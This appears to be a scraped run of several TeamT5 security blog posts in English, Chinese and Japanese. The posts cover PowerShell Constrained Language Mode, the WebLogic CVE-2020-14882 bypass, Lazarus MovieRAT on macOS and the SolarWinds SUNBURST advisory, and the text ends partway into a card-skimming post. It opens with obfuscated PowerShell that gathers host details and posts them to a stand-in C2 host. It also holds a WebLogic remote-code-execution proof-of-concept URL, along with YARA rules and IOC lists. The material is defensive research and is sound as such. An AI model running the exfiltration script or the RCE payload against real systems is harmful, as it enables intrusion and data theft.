 .("{1}{3}{2}{0}" -f 'ariable', 'S', 't-V', 'e') -Name ("{1}{0}" -f 'ata', 'd') -Value (.("{3}{2}{0}{1}" -f 'Ada', 'pter', 'Net', 'Get-') | .("{1}{0}" -f 'ect', 'sel') ("{1}{0}{3}{2}" -f 'erfac', 'Int', 's', 'eAlia'), ("{0}{1}{2}" -f 'MacA', 'd', 'dress') | &("{3}{2}{0}{1}" -f 'r', 'tTo-Json', 'e', 'Conv') -Compress) > $null
 # OSs + username collection
 .("{2}{0}{1}" -f '-', 'Variable', 'Set') -Name ("{0}{1}" -f 'd', 'ata') -Value (${D`ATa} + (.("{0}{2}{3}{1}" -f 'Ge', 'nce', 't-CimInst', 'a') ("{1}{0}{3}{2}" -f 'ting', 'Win32_Opera', 'em', 'Syst') | .("{0}{1}" -f 'se', 'lect') ("{0}{1}" -f 'na', 'me'), ("{1}{0}" -f 'me', 'CSNa') | &("{2}{3}{1}{0}{4}" -f 'o-Js', 'T', 'Conve', 'rt', 'on') -Compress)) > $null
 # WAN IP collection
 &("{0}{1}{2}{3}" -f 'Set-', 'Vari', 'abl', 'e') -Name ("{1}{0}" -f 'ta', 'da') -Value (${D`AtA} + ((.("{1}{0}" -f 'r', 'iw') -useb ("{1}{0}{2}" -f 'fig', 'ifcon', '.me') -user ("{0}{1}" -f 'cur', 'l'))."cO`NTe`Nt")) > $null
 # Saves data to a temporary file (usually this is done in-memory by threat actors, but in-memory execution purely based on existing cmdlets is either impossible or very difficult)
 .("{1}{0}{2}" -f '-Variabl', 'Set', 'e') -Name ('a') -Value ("$env:temp\$(New-Guid).txt")
 ${Da`Ta} | &("{1}{2}{0}" -f 'le', 'O', 'ut-Fi') ${a}
 # Compresses the file
 &("{3}{0}{2}{1}" -f 'ompr', 'Archive', 'ess-', 'C') -De "$a.zip" -Co ("{0}{1}" -f 'Op', 'timal') -Lit ${a}
 # Sends it back to the C2 station
 &("{1}{0}" -f 'r', 'iw') ("{0}{2}{3}{4}{1}" -f 'h', '00', 'ttp://evil', '.tld:', '80') -method ("{1}{0}" -f 'st', 'po') -body (.("{1}{0}{2}" -f 'Co', 'Get-', 'ntent') -Lit "$a.zip") > $null
 &("{2}{1}{0}" -f 'leep', 't-S', 'Star') -Seconds 2
 }
}
```

Additionally, attackers may still be able to call external resources to achieve their goal, such as achieving persistence via `schtask` or placing additional payloads under `shell:startup`. Remember, Constrained Language mode does **NOT** block most existing cmdlets from functioning; in other words, it limits what the threat actor has on their disposal, but does not mean that they cannot make do with vanilla cmdlets or standard Windows applications.

 

#### Beware of `__PSLockdownPolicy`

Aside from weaponizing existing cmdlets, if the admins had "enabled" the language feature via `__PSLockdownPolicy`, then it would be trivial for attackers with administrative privileges to restore the language policy. Let's take a look at what this environment variable actually does.

![202101-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_5_707aff90b6.png)

We'll see that it has brought us to the `SystemPolicy` class under the `wldpNativeMethods.cs` file. In various articles that reference this environment variable, they would instruct the administrator to set the `__PSLockdownPolicy` variable to `4`. A value of 4 corresponds with the `WLDP_LOCKDOWN_UMCIENFORCE_FLAG` constant, which indicates the enforcement of UMCI (User-mode Code Integrity).

![202101-6.gif](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230069/202101_6_2a4f7bdb5c.gif)

The call's parent method happens to be named `GetDebugLockdownPolicy`, which indicates that this behavior was meant to be a debug feature, rather than something that should be in a production environment.

![202101-7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230072/202101_7_4f3622def2.png)

This theory is further backed up by the statement made by [Matt Graeber](https://twitter.com/mattifestation/status/921509830644269062), a renowned security researcher well-versed in WDAC. Further research also shows this behavior was mentioned by the PowerShell team in its [official post regarding Constrained Language Mode as well](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/):

> As part of the implementation of Constrained Language, PowerShell included an environment variable for debugging and unit testing called `__PSLockdownPolicy`. While we have never documented this, some have discovered it and described this as an enforcement mechanism. This is unwise because an attacker can easily change the environment variable to remove this enforcement. In addition, there are also file naming conventions that enable FullLanguage mode on a script, effectively bypassing Constrained Language.

It must be emphasized that administrators should **NOT** deploy this to their endpoints as a way to enable Constrained Language mode - and be extra mindful when reading through articles regarding security features.

 

### Compatibility with Legacy OSs

Another thing to consider before rolling this feature out to endpoints is legacy OSs. As mentioned at the beginning of this post, Constrained Language mode is only available on PowerShell 3.0 onwards - and Windows 7 ships with PowerShell 2.0 by default.

![202101-8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230074/202101_8_6103f884e7.png)

While it is possible to install WMF 5.1 on older systems such as Windows 7, these systems likely ship with PowerShell 2.0 as its core component as well, which is susceptible to *downgrade attacks*.

All the attacker needs to do is, instead of starting a standard PowerShell 5.1 session, spawn a PowerShell 2.0 session using `PowerShell.exe -Version 2`. Since `ConstrainedLanguage` mode doesn't exist in that version, it will simply fallback to using `FullLanguage`.

![202101-9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230075/202101_9_7d51c2552d.png)

This is much less of a problem on Windows 10, as PowerShell 5.1 is shipped with the system by default and 2.0 can be removed by using `Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root`. After then, any attempts to launch PowerShell v2 will result in an error message.

```text
PS C:\> powershell -v 2
Encountered a problem reading the registry. Cannot find registry key SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine. The Windows PowerShell 2 engine is not installed on this computer.
```

 

## Hypothetical Testing

To see how effective this mode is against hypothetical attacks, we ...

- gathered 141 recently-submitted unique PowerShell samples as of Jan 27th, 2021.
 - These samples were randomly chosen and were not handpicked (aside from picking out invalid samples that aren't `*.ps1` scripts) in any way.
- executed the scripts via `ls -File | %{start-job -scr {iex $args[0]} -arg $_.FullName}`.
- ran these samples on a system with `ConstrainedLanguage` mode enabled.
- ran these samples on a Windows 10 (build 19042) system with a non-elevated PowerShell session.
 - Elevation is taken out of the equation as attackers would have to escalate its privilege first, and by that point there will be bigger problems to worry about.

![202101-10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230077/202101_10_0e10676b7f.png)

 

In our testing,

- `ConstrainedLanguage` blocked ...
 - 100% (141/141) of the samples from executing properly.
 - ... as in reaching their intended goal of launching a TCP shell, loading its next-stage payload, creating usable persistence, etc.
 - 51% (72/141) of the samples that had attempted to create a non-whitelisted type.
 - 50% (71/141) of the samples that had attempted to invoke a method on non-whitelisted type.
 - 26.9% (38/141) of the samples that had attempted to convert a value into a non-whitelisted type.
 - 2.8% (4/141) of the samples that had attempted to set a property on a non-whitelisted type.
- `ConstrainedLanguage` failed to block ...
 - 0.7% (1/141) of the samples that had managed to create persistence entries.

 

## Conclusion

Since PowerShell is now [an integral part](https://support.microsoft.com/en-us/windows/powershell-is-replacing-command-prompt-fdb690cf-876c-d866-2124-21b6fb29a45f) of modern Windows OSs, sysadmins should not underestimate the risks that PowerShell can bring to the organization.

In the article, we went through the benefits and drawbacks of `ConstrainedLanguage` and how it performs in a hypothetical test. By enabling the engine feature, the risk of PowerShell-introduced exploitation is greatly lowered - if enrolled properly. Organizations should also consider whether or not the reduced availability of modules and or scripts is worth the tradeoff before enrolling this language policy.

 


*Image courtesy of [Pexels](https://www.pexels.com/)

A Deep Dive into PowerShell's Constrained Language Mode

PowerShellのConstrained Language（制約付き言語）モードに対する深い考察

## 緣起

WebLogic 是美商 Oracle 的主要產品之一，係商業市場上主要的 Java（J2EE）應用伺服器軟體（application server）之一。於 2020 年爆出高風險漏洞 CVE-2020-14882 與 CVE-2020-14883，其中，CVE-2020-14882 的 CVSS 3.1 評分更高達 9.8，屬於嚴重（Critical）等級之漏洞。

攻擊者可利用漏洞，組合惡意指令，使未經授權的請求繞過 WebLogic 後台登入等限制，最終可以遠端執行代碼攻擊（Remote Code Execution），因此攻擊者可輕易的利用此漏洞發起攻擊。

 

## 技術分析

我們從下圖的漏洞 POC 範例開始看起。

![blog_2101-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_1_7add5099fd.png)
_圖一、POC 攻擊範例_

 

首先 WebLogic 會對 url 進行檢查，當攻擊者試圖存取 console 路徑底下的檔案資源時（階段 A），會將其 url 與 WebLogic 設定檔（web.xml）內的網頁資源路徑進行比對，若該 url 屬於任一資源路徑，將不須驗證即可進行資源存取（階段 B）。其 web.xml 的檔案路徑為 wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml，如下圖所示。

![blog_2101-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_2_b9ab148ed5.png)
_圖二、web.xml 內容_

 

再來，```http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal``` 會先進行一次 url decode，將 %25 轉成 %，所以該 url 會變成 ```http://127.0.0.1:7001/console/images/%2E%2E%2Fconsole.portal```（階段 C）。

但是在 UIServletInternal.getTree 函式中，WebLogic 又會做再一次 url decode，將 %2E%2E%2F 轉為 ../，於是 url 變成```http://127.0.0.1:7001/console/images/../console.portal```，且後續的操作中 WebLogic 都沒有對路徑進行權限檢查，所以產生了跨目錄穿越攻擊（Directory Traversal）的漏洞。

WebLogic Server 處理後台管理（console）的請求時，會呼叫 BreadcrumbBacking().init 函式進行處理（階段 D）。當 url 中含有 handle 參數時，會將 handle 拆解成 class 和 argument。以 POC 為例，class 就會是 ```com.tangosol.coherence.mvel2.sh.ShellSession()```（階段 E），argument 則是 ```"java.lang.Runtime.getRuntime().exec(%27whoami%27);"```（階段 F）。

後續，會將 argument 傳給 class 的 constructor ，而 ShellSession 函式會再把 argument 傳給 MVELInterpretedRuntime 函式中，最後透過反射執行 argument 中內含的惡意指令，也就是 POC 範例中的 whoami。

 

## 修補插曲

但僅憑跨目錄穿越攻擊、Unauthorized RCE 等問題，何以稱之為「年度最慘漏洞（Most Epic Fail）」？

Oracle 於 2020 年 10 月釋出修補程式，但細究其修補的方法，發現 Oracle 利用黑名單的方式過濾 url 參數，如下圖所示。

![blog_2101-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433542/blog_2101_3_67ba9cf2c5.png)
_圖三、Oracle 透過黑名單修補 CVE-2020-14882_

 

#### 利用黑名單方式過濾，會有什麼問題呢？

只要利用不在黑名單內的 %252e%252e，就可以成功繞過（Bypass）已修補程式中的 url 檢查。

眾多安全研究人員於短時間內發現該問題並通報 Oracle，該漏洞也被編號為 CVE-2020-14750，如下圖所示。此錯誤的漏洞修補方式，也使得 CVE-2020-14882 成功入圍 2020 年 [Pwnie Award Most Epic Fail](https://en.wikipedia.org/wiki/Pwnie_Awards#2020) 項目。

![blog_2101-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_4_677f062e72.png)
_圖四、眾多研究員回報 CVE-2020-14750_

 

漏洞修補是一門深奧的學問，以 CVE-2020-14882 為例，其成因包含對檔案路徑存取控管不確實、對路徑做兩次的 url decode 及後台管理程式提供代碼執行。但 Oracle 一開始只修補兩次的 url decode 問題，更不用說其修補的方式為黑名單限制。因漏洞修補不確實而產生了更多的漏洞，所以不可不慎。

 

## 影響層面

攻擊者利用此漏洞互相搭配，不須登入即可遠端指令執行，進而產生憑證竊取（Credential Dump）、橫向移動（Lateral Movement）等攻擊行為。

- 受影響產品：WebLogic Server
- 受影響版本：10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

 

## 防護建議

- 更新 Oracle 官方最新修正 [patch](https://www.oracle.com/security-alerts/cpuoct2020.html)。
- 惡意 payload 檢查，例如檢查 console.portal 和 payload 是否帶有 ```handle=...``` 參數，或是直接關閉 console.portal 和 payload 的 handle 功能。
- 匯入以下 Yara 偵測規則，確認是否存在利用該漏洞的惡意程式。

```
rule CVE_2020_14882 {
 meta:
 author = "TeamT5"
 description = "CVE-2020-14882 exploit"
 strings:
 $resource1 = "console/bea-helpsets/"
 $resource2 = "console/framework/skins/wlsconsole/images/"
 $resource3 = "console/framework/skins/wlsconsole/css/"
 $resource4 = "console/framework/skins/wlsconsole/js/"
 $resource5 = "console/framework/skeletons/wlsconsole/css/"
 $resource6 = "console/framework/skeletons/wlsconsole/js/"
 $resource7 = "console/css/"
 $resource8 = "console/common/"
 $resource9 = "console/images/"

 $console1 = "console.portal"
 $console2 = "consolejndi.portal"
 
 $handle = "handle="

 condition:
 any of ($resource*) and 1 of ($console*) and $handle
}
```

![blog_2101-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_5_8a00e312e3.png)
_圖五、透過 Yara 偵測規則可有效偵測 CVE-2020-14882 exploit_

 


*圖片來源：[Pixabay](https://pixabay.com/photos/toy-pony-my-little-pony-horse-4968006/)

年度最慘漏洞！深入探究 Oracle WebLogic CVE-2020-14882

## 発端

WebLogicはアメリカOracle社の主要製品で、ビジネス市場で主要となっているJava（J2EE）アプリケーションサーバのソフトウェア（application server）の一つです。2020年にハイリスクの脆弱性「CVE-2020-14882」と「CVE-2020-14883」が明らかになり、その内「CVE-2020-14882」のCVSS 3.1スコアは9.8に達し、緊急（Critical）レベルになりました。

脆弱性を利用したコマンドインジェクションにより、許可されていないリクエストがWebLogicのバックエンドへのログインなどの制限を通り抜け、最終的にRCE（Remote Code Execution, リモートコード実行）が可能になるため、攻撃者はこの脆弱性を利用して簡単に攻撃できるようになります。


 

## テクニカル分析

はじめに、下図の脆弱性のPOCから見てみましょう。

![blog_2101-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_1_7add5099fd.png)
_図1、POC 攻撃例_

 

WebLogicは、はじめにURLをチェックし、攻撃者がconsoleパス配下のファイルリソースにアクセスを試みると（段階A）、URLとWebLogicの設定ファイル（web.xml）内のWebページのリソースパスが比較され、同URLがいずれかのリソースパスに属している場合、認証なしでリソースにアクセスできるようになります（段階B）。web.xmlのファイルパスは、wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xmlで、下図の通りです。

![blog_2101-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_2_b9ab148ed5.png)
_図2、web.xmlの内容_

 

次に、```http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal``` のURLデコードにより、%25が%に変更され、URLが```http://127.0.0.1:7001/console/images/%2E%2E%2Fconsole.portal```になります（段階C）。

ただし、UIServletInternal.getTree関数において、WebLogicは再度URLデコードを行い、%2E%2E%2Fが../、に変更され、URLが```http://127.0.0.1:7001/console/images/../console.portal```になります。また、その後の操作でWebLogicはパスの権限をチェックしないため、ディレクトリトラバーサル（Directory Traversal）の脆弱性が発生します。

WebLogic Serverは、コンソール（console）のリクエストを処理する際、BreadcrumbBacking().init関数を呼び出して処理します（段階D）。URLにhandleパラメータが含まれている場合、handleをclassとargumentに分解します。POCを例にすると、classは ```com.tangosol.coherence.mvel2.sh.ShellSession()```（段階E）になり、argumentは```"java.lang.Runtime.getRuntime().exec(%27whoami%27);"``` になります（段階F）。

続いて、argumentがclassのconstructorに送信され、ShellSession関数が再度argumentをMVELInterpretedRuntime関数に送信します。最後にリフレクションを使用してargument内の悪意のあるコマンドを実行します。POCの例ではwhoamiとなります。

 

## 修正パッチのエピソード

しかし、ディレクトリトラバーサル、Unauthorized RCEなどの問題だけで、なぜ「今年最悪の脆弱性（Most Epic Fail）」と呼ばれるのでしょうか。

Oracleは2020年10月に修正パッチを公開しましたが、修正方法の詳細を確認したところ、Oracleは下図のようにブラックリストでURLパラメータをフィルタリングしていたことがわかりました。

![blog_2101-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433542/blog_2101_3_67ba9cf2c5.png)
_図3、OracleのブラックリストによるCVE-2020-14882の修正_

 

#### ブラックリストでフィルタリングすることの何が問題なのか

ブラックリストにない%252e%252eを利用すれば、修正パッチを適用したURLのチェックをバイパス（Bypass）できます。

多くのセキュリティ研究者が短時間でこの問題を発見し、Oracleに報告しました。この脆弱性も下図のようにCVE-2020-14750としてコードが付けられています。この間違った脆弱性の修復方法により、CVE-2020-14882も、2020年の[Pwnie Award Most Epic Fail](https://en.wikipedia.org/wiki/Pwnie_Awards#2020)にノミネートされました。


![blog_2101-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_4_677f062e72.png)
_図4、多くの研究員がCVE-2020-14750を報告_

 

脆弱性の修復は奥の深い学問です。CVE-2020-14882を例にすると、ファイルパスのアクセス制御の不確実性、パスに対する2回のURLデコード、コンソールによるコードの実行などが原因となっています。しかし、当初Oracleは2回のURLデコードの問題のみを修正し、その修正方法もまたブラックリストによる制限でした。脆弱性の修復の不確実性はさらに多くの脆弱性を発生させるため、慎重に行わなければなりません。

 

## 影響について

攻撃者がこの脆弱性を組み合わせて利用することで、ログインせずにRCEが可能になり、認証情報のダンプ（Credential Dump）やラテラル・ムーブメント（Lateral Movement）といった攻撃が可能となります。

- 影響を受けた製品：WebLogic Server
- 影響を受けたバージョン：10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0


 

## 保護についてのアドバイス

- Oracle公式の最新の修正パッチを適用します: [patch](https://www.oracle.com/security-alerts/cpuoct2020.html)。
- 悪意のあるpayloadをチェックします。例：console.portalとpayloadに、```handle=...```パラメータが存在していないかチェックします。または直接console.portalとpayloadのhandle機能をオフにします。
- 以下のYARAルールをインポートし、脆弱性を利用したマルウェアが存在していないことを確認します。

```
rule CVE_2020_14882 {
 meta:
 author = "TeamT5"
 description = "CVE-2020-14882 exploit"
 strings:
 $resource1 = "console/bea-helpsets/"
 $resource2 = "console/framework/skins/wlsconsole/images/"
 $resource3 = "console/framework/skins/wlsconsole/css/"
 $resource4 = "console/framework/skins/wlsconsole/js/"
 $resource5 = "console/framework/skeletons/wlsconsole/css/"
 $resource6 = "console/framework/skeletons/wlsconsole/js/"
 $resource7 = "console/css/"
 $resource8 = "console/common/"
 $resource9 = "console/images/"

 $console1 = "console.portal"
 $console2 = "consolejndi.portal"
 
 $handle = "handle="

 condition:
 any of ($resource*) and 1 of ($console*) and $handle
}
```

![blog_2101-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_5_8a00e312e3.png)
_図5、YARAルールにより、効果的にCVE-2020-14882 exploitを検出できる。_

 


*画像のソース: [Pixabay](https://pixabay.com/photos/toy-pony-my-little-pony-horse-4968006/)

今年最悪の脆弱性！Oracle WebLogic CVE-2020-14882を深掘り

## 摘要
TeamT5 近期掌握情資，北韓 APT 駭客 Lazarus 開發出 macOS 作業系統的惡意程式 MovieRAT，並試圖攻擊虛擬貨幣的使用者，藉此盜取帳戶內的虛擬貨幣。

## 技術分析
TeamT5 透過情資管道取得惡意樣本（53d9af8829a9c7f6f177178885901c01），其檔案名稱為 Esilet.dmg，是 macOS 的第三方應用程式安裝檔，如圖一所示。該樣本執行後，會連線至 esilet.com 網站，該網站為虛擬貨幣交易平台，但經過 TeamT5 深入追查後發現，esilet.com 於 2020 年 6 月 12 日註冊，因此可以確認為駭客近期所發動的攻擊行為，如圖二所示。

![2020-12-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607910258/2020-12-1_38f3073f52.png)
_圖一、Esilet.dmg 執行畫面_

 

![2020-12-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909875/2020-12-2_61901a7ea4.png)
_圖二、esilet.com 網域註冊時間_

 

esilet.com 是駭客特意架設的虛擬貨幣交易網站，並透過該網站的應用程式下載安裝連結來散佈惡意程式。根據網站的支援語系，推測駭客攻擊標的為英、法、德及中文的虛擬貨幣用戶，如圖三所示。

 

![2020-12-3](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909876/2020-12-3_c882e11ea8.png)
_圖三、esilet.com 支援英、法、德及中文語系_

 

Esilet.dmg 執行後，會和中繼站連線獲取 config，config 的連線特徵為 "C2 + /update/ + {platform}.json"，故 macOS 版本的 config 下載連結為 "https://esilet[.]com/update/darwin.json"。所下載的惡意程式經過 UPX 加殼，會存放於系統的暫存目錄後執行。經過分析，該惡意程式的通訊協議和 MoiveRAT 相同，故確定此惡意樣本是由 MovieRAT 改寫的變種程式。

 

![2020-12-4](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909876/2020-12-4_e77cf3db22.png)
_圖四、Esilet.dmg 下載 MovieRAT 的逆向分析截圖_

 

當 MovieRAT 成功執行後，其嘗試加入 Launch Daemons/Services，將 property lists 檔案 com.applex.services.agent.agent.plist 放置於 {HomeDirectory}/Library/LaunchAgents 目錄，若寫入失敗則會寫入至 /Library/LaunchDaemons 之中，藉此達到開機後惡意程式自動執行的持續控制手法，如圖五所示。

 

![2020-12-5](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909875/2020-12-5_82214f3ea6.png)
_圖五、將 plist 寫入開機執行設定之中_

 

其所連線的中繼站位址為固定並寫死（Hard Coding）於程式中，分別為 infodigitalnew.com、www.vinoymas.ch 及 sche-eg.org，如圖六所示。

 

![2020-12-6](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909875/2020-12-6_a9d7f08bae.png)
_圖六、惡意中繼站位址寫死於程式碼中_

 

樣本連線至中繼站後，駭客將會傳遞不同的指令碼（Command Code），樣本取得指令後會執行對應的動作，如上傳/下載檔案、指令執行及檔案/資訊回傳等，詳細資訊如圖七及表一所示。

 

![2020-12-7](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909880/2020-12-7_12bab7ef9f.png)
_圖七、指令碼逆向分析結果_

 
 

| 指令碼 | 描述 |
| -- | -- |
| 0x21279E | 從中繼站下載檔案並存放於特定路徑 | 
| 0x2AFCB2 | 取得主機資訊 |
| 0x38CE55 | Heartbeat |
| 0x3A65F8 | 字串(string)轉換為數字(integer) |
| 0x3A6A93 | 傳送HTTP封包至中繼站 |
| 0x3B187D | 空指令 |
| 0x484B81 | 上傳檔案至中繼站 |
| 0x48C82A | 透過HTTP從中繼站下載檔案|
| 0x48D6FC | 執行指令(新加入的指令碼)|
| 0x7FC0A4 | 執行指令並回傳結果 |

_表一、指令碼清單_

 

TeamT5 經由該樣本關聯至 MovieRAT 後門程式，MovieRAT 是個輕量化的後門控制程式，支援最基本的檔案上傳/下載、指令執行及程序操作等功能。通常被駭客用於成功入侵後的第二階段控制（2nd-stage RAT）之用。先前所掌握的 MovieRAT 後門為 Windows 惡意程式，會透過 HTTP 通訊協定與中繼站連線，所使用的 Cookie 具有特定格式。

根據 TeamT5 的情資，將 MovieRAT 定位到駭客組織 Lazarus 身上。Lazarus 為北韓的駭客族群，擁有多起攻擊金融產業的紀錄，尤其特別針對 SWIFT 跨國轉帳交易系統和 ATM 自動櫃員機系統進行攻擊。推測為了替北韓政權籌措資金，好發展武器與實驗，故多選擇金融產業和具有關鍵技術的私人企業進行攻擊。過往的攻擊行動中，會在惡意程式內參雜俄文，企圖混淆分析人員。近期則是開始大量入侵攻擊虛擬貨幣交易所，如 Bithumb、Youbit 及 Yapizon 等，造成上百萬美元的金額損失。

## IOCs（惡意攻擊指標）

|IOC|類型|
|-|-|
|53d9af8829a9c7f6f177178885901c01|MD5|
|ae9f4e39c576555faadee136c6c3b2d358ad90b9|SHA1|
|9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598|SHA256|
|9578c2be6437dcc8517e78a5de1fa975|MD5|
|d2a77c31c3e169bec655068e96cf4e7fc52e77b8|SHA1|
|dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156|SHA256|
|esilet.com|Domain|
|www.kurunzi.news|Domain|
|oasismagazine.africa|Domain|
|lerenmetsara.net|Domain|
|https://infodigitalnew.com/wp-content/plugins/top.php |URL|
|https://www.vinoymas.ch/wp-content/plugins/top.php |URL|
|https://sche-eg.org/plugins/top.php |URL|

## 影響與建議

 1. 透過 TeamT5 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/) 檢查是否有攻擊者活動跡象，ThreatSonar 支援 Windows、Linux 及 macOS 作業系統。
 2. 使用以下 yara rule 掃描主機系統，檢查是否存在 MovieRAT 後門程式。

 ```
 rule TeamT5_Lazarus_MovieRAT
 {
 meta:
 author = "TeamT5"
 description = "Lazarus - MovieRAT"
 strings:
 $cookie = "Cookie: _ga=%s%02d%d%d%02d%s; gid=%s%02d%d%03d%s" fullword
 $str_1 = "GA1.%d." fullword
 $str_2 = ".%d%05d%04d" fullword
 condition:
 all of them
 }
 ```
 
 ![2020-12-8](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909882/2020-12-8_34a68e7370.png)

 3. 可將前述的 IOC 清單匯入既有的資安設備中，進行偵測阻擋防禦之用。
 4. 更多 APT 駭客族群資訊，可參考 TeamT5 [ThreatVision](https://teamt5.org/tw/products/threatvision/) 情資平台。

 


*圖片來源：[Pixabay](https://pixabay.com/illustrations/the-company-cryptocurrency-mining-3338207/)

macOS 用戶當心！北韓駭客 Lazarus 將目標瞄準虛擬貨幣交易用戶

# *知名 IT 監控平臺 SolarWinds 淪陷，近期已有多個採用該平臺的組織遭到攻擊*

## 說明

SolarWinds 在今年 3 月到 6 月間釋出 2019.4 HF 5 至 2020.2.1 版本的 SolarWinds Orion Platform 遭到駭客供應鏈攻擊，導致服務存在遠端執行後門程式，公開情資指出，這是來自俄羅斯攻擊族群 APT29 的針對性攻擊行動。

SolarWinds 已進行修補並釋出 Orion Platform 2020.2.1 HF 1，預計在 12 月 15 日釋出 2020.2.1 HF 2，建議各單位在 2020.2.1 HF 2 釋出後立即更新，此一版本不只修補了有問題的元件，也進一步提供安全措施。

FireEye 日前公布遭受駭客攻擊，提供的公開情資包含 SolarWinds 相關元件（SolarWinds.Orion.Core.BusinessLayer.dll），TeamT5 取得樣本並分析其中的惡意程式 SUNBURST。

![201215通報-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_1_207508801e.png)
_圖一、惡意程式的 Job Class 提供各種操作指令_

![201215通報-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_2_b31cd3e1e9.png)
_圖二、透過 HTTP 和 Orion Improvement Program（OIP）傳輸指令_

 

## 受影響的版本

- SolarWinds Orion Platform 2019.4 HF 5
- SolarWinds Orion Platform 2020.2 – 2020.2 HF 1

## 修補與防範建議

- 隔離 Orion server 直到 [SolarWinds](https://customerportal.solarwinds.com) 提供修補程式並安裝
- 於 ThreatSonar 檢查是否有使用 SolarWinds

 1. 點擊威脅狩獵功能
 2. 點擊 Certificates
 3. 搜尋 SolarWinds 的憑證 thumbprint，搜尋語法：

 thumbprint = 47D92D49E6F7F296260DA1AF355F941EB25360C4

 4. 點擊 Obj Cnt.下方數字，檢查是否有包含 Orion 名稱的項目

![201215通報-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_3_88a79a1fec.png)
_圖三、威脅狩獵功能搜尋 SolarWinds 的憑證_

![201215通報-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_4_5a8fdda638.png)
_圖四、搜尋 Orion 確認是否存在相關檔案_

 

## FireEye 公開的 IoC 資訊

- 中繼站 Domain 以及 IP

 

|IOC|類型|
|----|----|
|avsvmcloud[.]com|Domain|
|freescanonline[.]com|Domain|
|deftsecurity[.]com|Domain|
|thedoccloud[.]com|Domain|
|websitetheme[.]com|Domain|
|highdatabase[.]com|Domain|
|incomeupdate[.]com|Domain|
|databasegalore[.]com|Domain|
|panhardware[.]com|Domain|
|zupertech[.]com|Domain|
|13.59.205[.]66|IP Address|
|54.193.127[.]66|IP Address|
|54.215.192[.]52|IP Address|
|34.203.203[.]23|IP Address|
|139.99.115[.]204|IP Address|
|5.252.177[.]25|IP Address|
|5.252.177[.]21|IP Address|
|204.188.205[.]176|IP Address|
|51.89.125[.]18|IP Address|
|167.114.213[.]199|IP Address|


- 檔案 Hash（MD5）

|IOC|類型|
|----|----|
|02af7cec58b9a5da1c542b5a32151ba1|MD5 Hash|
|08e35543d6110ed11fdf558bb093d401|MD5 Hash|
|2c4a910a1299cdae2a4e55988a2f102e|MD5 Hash|
|846e27a652a5e1bfbd0ddd38a16dc865|MD5 Hash|
|b91ce2fa41029f6955bff20079468448|MD5 Hash|
|4f2eb62fa529c0283b28d05ddd311fae|MD5 Hash|
|56ceb6d0011d87b6e4d7023d7ef85676|MD5 Hash|


## 參考資料

- https://www.solarwinds.com/sa-overview/securityadvisory
- https://www.cert.govt.nz/it-specialists/advisories/solarwinds-orion-vulnerability-being-actively-exploited/
- https://www.ithome.com.tw/news/141651
- https://github.com/mandiant/sunburst_countermeasures
 
 


*圖片來源：[Pixabay](https://pixabay.com/photos/trojan-trojan-horse-craft-wood-1700378/)

TeamT5 安全性通報－知名 IT 監控平臺 SolarWinds Orion 證實遭供應鏈攻擊

By Jason3e7

## 前言

近期於台灣發生多起信用卡盜刷事件，TeamT5 追蹤到幾起事件後深入調查，並於本文揭露側錄技術，以促進電商資訊安全，保護消費者的權益。

## 技術分析

TeamT5 分析近期數起信用卡盜刷事件，發現過往手法多為攻擊網站後再行 Dump Database，新的手法為存入資料庫之前，於前端程式或後端程式去側錄機敏資訊，以下將以知名 ASP.NET 平台的 CMS，DNN（DotNetNuke）作為範例，以前端與後端的攻擊手法分別說明。

- **後端程式側錄**

 利用高隱匿性的 IIS module，透過修改 config 被 IIS 載入後執行，可於該網站任意頁面側錄資訊。
經過一段時間收集機敏資訊後，攻擊者再透過其他後門程式，定期將機敏資訊帶走，清除蹤跡。

 運作原理拆解如下：


 1. IIS web.config 被新增一行資料以啟用新的 module（LoggerModule）
![202011-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1605146682/202011-1_6a6e70e4b2.jpg)
 2. 於 bin 資料夾底下也新增檔案 System.Logger.dll
